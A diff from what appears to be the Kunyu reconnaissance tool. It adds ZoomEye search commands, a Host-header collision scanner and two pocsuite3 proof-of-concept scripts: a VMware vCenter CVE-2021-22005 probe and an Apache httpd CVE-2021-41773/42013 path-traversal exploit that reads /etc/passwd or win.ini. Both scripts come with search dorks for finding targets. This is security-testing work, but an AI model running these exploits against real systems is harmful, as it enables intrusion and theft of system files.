+            logger.error("The query result is empty\n")
+        # console.print(self.raw_data_params)
+        return console
+
+    @classmethod
+    def command_info(cls, *args):
+        """ return user info"""
+        table = Table(show_header=True, style="bold")
+        info = cls.convert(_user_info()[0])
+        # Calculate the total quota for the month
+        search_quota = int(info.quota_info.remain_free_quota) + int(info.quota_info.remain_pay_quota)
+        for column in cls.ZOOMEYE_FIELDS_INFO:
+            table.add_column(
+                column, justify="center", overflow=overflow
+            )
+        info.user_info.expired_at = None if info.user_info.expired_at == "" else info.user_info.expired_at
+        console.log("User Information:", style="green")
+        table.add_row(str(info.user_info.name),str(info.user_info.role),
+                      str(search_quota),str(info.user_info.expired_at))
+        console.print(table)
+        logger.info("User information retrieval is completed\n")
+
+    @classmethod
+    # ZoomEye host search method
+    def command_searchhost(cls, search):
+        return cls.__command_search(cls, search)
+
+    @classmethod
+    # ZoomEye web search method
+    def command_searchweb(cls, search):
+        return cls.__command_search(cls, search, types="web")
+
+    @classmethod
+    # domain name associated / subdomain Search
+    def command_searchdomain(cls, search):
+        return cls.__command_search(cls, search, types="domain")
+
+    @classmethod
+    # ZoomEye batch search IP method
+    def command_searchbatch(cls, filename):
+        """
+            Batch query related result sets by reading the IP address in the file
+            File name only supports txt type
+            :param filename: Accept the IP file path as a parameter
+        """
+        search = ""
+        # Use ZooEye batch query mode,Search: "ip:1.1.1.1 ip:2.2.2.2 ip:3.3.3.3"
+        for ip in get_file(filename):
+            search += "ip:{} ".format(ip)
+        # Determine the type of interface used
+        if cls.btype == "host":
+            return cls.command_searchhost(search)
+
+        return cls.command_searchweb(search)
+
+    @classmethod
+    # ZoomEye SSL Cert Search
+    def command_searchcert(cls, hostname):
+        """
+            Associate assets by calculating the SSL serial number of the domain name
+            :param hostname: Enter the domain name using the HTTPS protocol
+        """
+        try:
+            if encode.cert_encode(hostname) is not None:
+                return cls.__command_search(cls, "ssl:" + str(encode.cert_encode(hostname)))
+        except KeyboardInterrupt:
+            return
+
+    @classmethod
+    # ZoomEye Icon Image Search
+    def command_searchicon(cls, filename):
+        """
+            Calculate the hash through the icon icon to associate related assets
+            According to the input parameters, judge and calculate the ico icon hash of the url or file path
+            :param filename: Enter the specified URL or Icon file path
+        """
+        icon_hash = str(encode.encode_mmh3(filename))
+        if icon_hash != "":
+            logger.info("iconhash:" + icon_hash)
+            return cls.command_searchhost("iconhash:" + icon_hash)
+
+    @classmethod
+    # Encode hex/md5/mmh3/base64 Hash
+    def command_encodehash(cls, args):
+        """
+            Characters can be encrypted by this command
+            Encryption parameters according to the specified encryption method
+            :param args: Obtain the encryption method and the parameters that need to be encrypted
+        """
+        try:
+            command, _, args = args.strip().partition(" ")
+            # Check whether a parameter exists
+            if args == "":
+                raise ArithmeticError
+            command_handler = getattr(encode, "encode_{}".format(command))
+            # Return the encrypted result
+            logger.info("{} : {}".format(
+                command,
+                command_handler(args.strip())
+            ))
+
+        except ArithmeticError:
+            logger.warning("Please specify the encryption mode")
+
+        except Exception as err:
+            logger.warning(err)
+
+    @classmethod
+    # Get SeeBug vulnerability information
+    def command_seebug(cls, search):
+        """
+            Get the historical vulnerabilities of the specified framework
+            You can use this command to query the historical vulnerabilities of related frameworks
+            :param search: Used to obtain parameters for querying related framework vulnerabilities
+        """
+        # Get Number of result sets of vulnerabilities
+        total = Seebug.search(search).get("total")
+        # Get vulnerabilities result
+        data = Seebug.search(search)
+        logger.info("Number of relevant vulnerabilities: {}".format(total))
+        for vuln in data["results"]:
+            vuln = cls.convert(vuln)
+            # Print Result set of framework history vulnerabilities
+            logger_console.info('[{}] - [{}]'.format(vuln.name, vuln.id))
+
+        logger.info("Seebug Search retrieval is completed\n")
+
+    @classmethod
+    # Invoke the pocsuite component
+    def command_pocsuite3(cls, *args, **kwargs):
+        check_environment()
+        set_paths(module_path())
+        init_options()
+        # Set the directory to store the poc
+        poc = PocsuiteInterpreter(os.path.abspath(os.path.dirname(os.path.dirname(__file__))) + "/pocs")
+        poc.start()
+
+    @classmethod
+    # look over row_data info
+    def command_view(cls, serial):
+        """
+            View raw data information
+            You can view any raw data by entering the serial number
+            :param serial): Please enter serial number ID
+        """
+        try:
+            # If the key parameter is not specified, the key parameter is automatically set to 1
+            serials = 1 if serial is "" else serial
+            raw_data = cls.raw_data_params.get(int(serials))
+            # Check whether the returned result is None
+            if raw_data is None:
+                raise ArithmeticError
+            # Check whether the returned result is ""
+            elif raw_data is "":
+                logger.warning("Banner information is empty")
+            else:
+                console.log("Banner Information is:\n", style="green")
+                console.print(raw_data)
+
+        except ArithmeticError:
+            logger.warning("No retrieval operation is performed or the length of the dictionary key value is exceeded")
+            return
+
+    @classmethod
+    def command_searchkeyword(cls, *args, **kwargs):
+        try:
+            keyword_param = set()
+            num = 0
+            # sensitive_params information
+            for sensitive in cls.sensitive_params:
+                for item in sensitive:
+                    keyword_param.add(item)
+            # Set table console print
+            table = Table(show_header=True, style="bold")
+            for column in SEMSITIVE_INFO:
+                table.add_column(
+                    column, justify="center", overflow=overflow
+                )
+            # add table information
+            for keyword in keyword_param:
+                num += 1
+                table.add_row(
+                    str(num), str(keyword)
+                )
+            # print sensitive info
+            console.print(table)
+        except Exception:
+            return
+
+    @classmethod
+    def command_hostcrash(cls, args):
+        """
+            HOST Header Crash function,Obtaining hidden Assets
+            You can use the master domain name reverse lookup or file to obtain the domain name list
+            :param args: The IP address and domain name to be queried
+        """
+        try:
+            # Check whether a parameter exists
+            if args == "":
+                raise ArithmeticError
+            # Get args ip and search
+            ip, _, search = args.strip().partition(" ")
+            result_list = HostScan().host_scan(search, ip)
+            # Determines whether the result set is empty
+            if not result_list:
+                return logger.warning("The query result is empty\n")
+            table = Table(show_header=True, style="bold")
+            # Read the list header
+            for column in HOST_SCAN_INFO:
+                table.add_column(column, justify="center", overflow=overflow)
+            # Set output list content
+            for res in result_list:
+                table.add_row(
+                    str(res[0]), str(res[1]), str(res[2])
+                )
+            # Output table list to console
+            console.print(table)
+            logger.info("Host Header Scan is completed\n")
+            # Export HOSTS collision results
+            export_xls(result_list, HOST_SCAN_INFO)
+            # End of function execution
+        except ArithmeticError:
+            logger.warning("Please Host IP and Domain\n")
+
+        except KeyboardInterrupt:
+            return
diff --git a/kunyu/lib/batchfile.py b/kunyu/lib/batchfile.py
index e7e0dd1..8b286f1 100644
--- a/kunyu/lib/batchfile.py
+++ b/kunyu/lib/batchfile.py
@@ -68,9 +68,10 @@ def get_domain_file(*args, **kwargs):
             _ip_list.append(i)
         return _ip_list
 
+    except KeyboardInterrupt:
+        return
     except Exception:
         logger.error("Failed to get IP list content! Please check if the IP file name is abnormal")
-        sys.exit(0)
 
 
 # Get the contents of the IP list.
@@ -81,6 +82,7 @@ def get_file(*args, **kwargs):
             _ip_list.append(i)
         return _ip_list
 
+    except KeyboardInterrupt:
+        return
     except Exception:
         logger.error("Failed to get IP list content! Please check if the IP file name is abnormal")
-        sys.exit(0)
diff --git a/kunyu/pocs/20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-22005.py b/kunyu/pocs/20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-22005.py
new file mode 100644
index 0000000..38e6f40
--- /dev/null
+++ b/kunyu/pocs/20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-22005.py
@@ -0,0 +1,76 @@
+#! /usr/bin/env python3
+# coding:utf-8
+
+from pocsuite3.api import Output, POCBase, register_poc, requests, logger
+
+class TestPOC(POCBase):
+    vulID = '99359'  # ssvid
+    version = '2.0'
+    author = ['seebug']
+    vulDate = '2021-09-22'
+    createDate = '2021-09-23'
+    updateDate = '2021-09-23'
+    references = ['https://www.seebug.org/vuldb/ssvid-99359','https://mp.weixin.qq.com/s/UcH-IOUOtO6rsWWetc6O-A']
+    name = 'VMware vCenter Server 文件上传漏洞（CVE-2021-22005）检测脚本'
+    appPowerLink = 'https://www.vmware.com'
+    appName = 'VMware vCenter Server'
+    appVersion = 'version < 7.0 U2c、version < 6.7 U3o'
+    vulType = 'File Upload'
+    desc = '''攻击者可构造恶意请求，通过vCenter中的Analytics服务上传恶意文件导致远程代码执行漏洞。该漏洞被分配编号CVE-2021-22005。
+    知道创宇云安全已支持该漏洞检测'''
+    dork = {'zoomeye': 'app:"VMware vCenter"'}
+    suricata_request = ''''''
+    suricata_response = ''''''
+    samples = ['']
+    install_requires = ['']
+
+    def _check(self):
+        self.url = self.url.rstrip('/')
+        try:
+            rep = requests.post(self.url + "/analytics/telemetry/ph/api/hyper/send?_c&_i=test",
+                                headers={"Content-Type": "application/json"}, data="lorem ipsum")
+            if rep.status_code == 201:
+                return True
+
+            headers = {
+                "Accept-Encoding": "gzip, deflate",
+                "X-Deployment-Secret": "abc",
+                "accept": "application/vapi",
+                "Connection": "keep-alive",
+                "Content-Type": "application/json",
+            }
+            rep = requests.post(self.url + "/analytics/ph/api/dataapp/agent?_c=test&_i=1", headers=headers, data="{}")
+
+            if rep.status_code == 201:
+                return True
+
+            headers["Connection"] = "close"
+            rep = requests.post(self.url + "/analytics/ph/api/dataapp/agent?action=collect&_c=test&_i=1",
+                                headers=headers,
+                                data="{}")
+            if rep.status_code == 200:
+                return True
+        except Exception as e:
+            logger.error(e)
+
+    def _verify(self):
+        result = {}
+        if self._check():
+            result['VerifyInfo'] = {}
+            result['VerifyInfo']['URL'] = self.url
+
+        return self.parse_output(result)
+
+    def _attack(self):
+        return self._verify()
+
+    def parse_output(self, result):
+        output = Output(self)
+        if result:
+            output.success(result)
+        else:
+            output.fail('Internet nothing returned')
+        return output
+
+
+register_poc(TestPOC)
diff --git a/kunyu/pocs/20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py b/kunyu/pocs/20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py
new file mode 100644
index 0000000..6b48afe
--- /dev/null
+++ b/kunyu/pocs/20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py
@@ -0,0 +1,82 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import urllib
+from pocsuite3.api import (
+    Output, POCBase, register_poc, requests
+)
+
+
+class TestPOC(POCBase):
+    vulID = '99364'
+    version = '1.0'
+    author = ['fenix']
+    vulDate = '2021-10-08'
+    createDate = '2021-10-08'
+    updateDate = '2021-10-08'
+    references = ['https://www.seebug.org/vuldb/ssvid-99364']
+    name = 'apache httpd dir traversal rce (cve-2021-41773/cve-2021-42013)'
+    appPowerLink = 'https://httpd.apache.org'
+    appName = 'apache httpd'
+    appVersion = '2.4.49, 2.4.50'
+    vulType = 'dir-traversal'
+    dork = {'zoomeye': '"Apache/2.4.49" "Apache/2.4.50"'}
+    desc = ''
+    samples = ['']
+    install_requires = []
+
+    def _check(self):
+        self.url = self.url.rstrip('/')
+        res = requests.get(
+            self.url,
+            timeout=10,
+            verify=False,
+            allow_redirects=False
+        )
+        if 'Apache/2.4.49' in str(res.headers):
+            return True
+        elif 'Apache/2.4.50' in str(res.headers):
+            return True
+        return False
+
+    def _arbitrary_file_read(self, filepath='/etc/passwd'):
+        res = b''
+        filepath = '/.%%32%65' * 10 + filepath
+        try:
+            req = urllib.request.Request(
+                f'{self.url}/icons{filepath}',
+            )
+            res = urllib.request.urlopen(req).read()
+        except Exception:
+            pass
+        return res
+
+    def _verify(self):
+        result = {}
+        if not self._check():
+            return self.parse_output(result)
+        for i in ['/etc/passwd', '/windows/win.ini']:
+            res = self._arbitrary_file_read(i)
+            if b':/bin' in res or b'[fonts]' in res:
+                result['VerifyInfo'] = {}
+                result['VerifyInfo']['URL'] = self.url
+                result['VerifyInfo'][i] = res.decode()
+                break
+        return self.parse_output(result)
+
+    def _attack(self):
+        return self._verify()
+
+    def _shell(self):
+        return self._verify()
+
+    def parse_output(self, result):
+        output = Output(self)
+        if result:
+            output.success(result)
+        else:
+            output.fail('Internet nothing returned')
+        return output
+
+
+register_poc(TestPOC)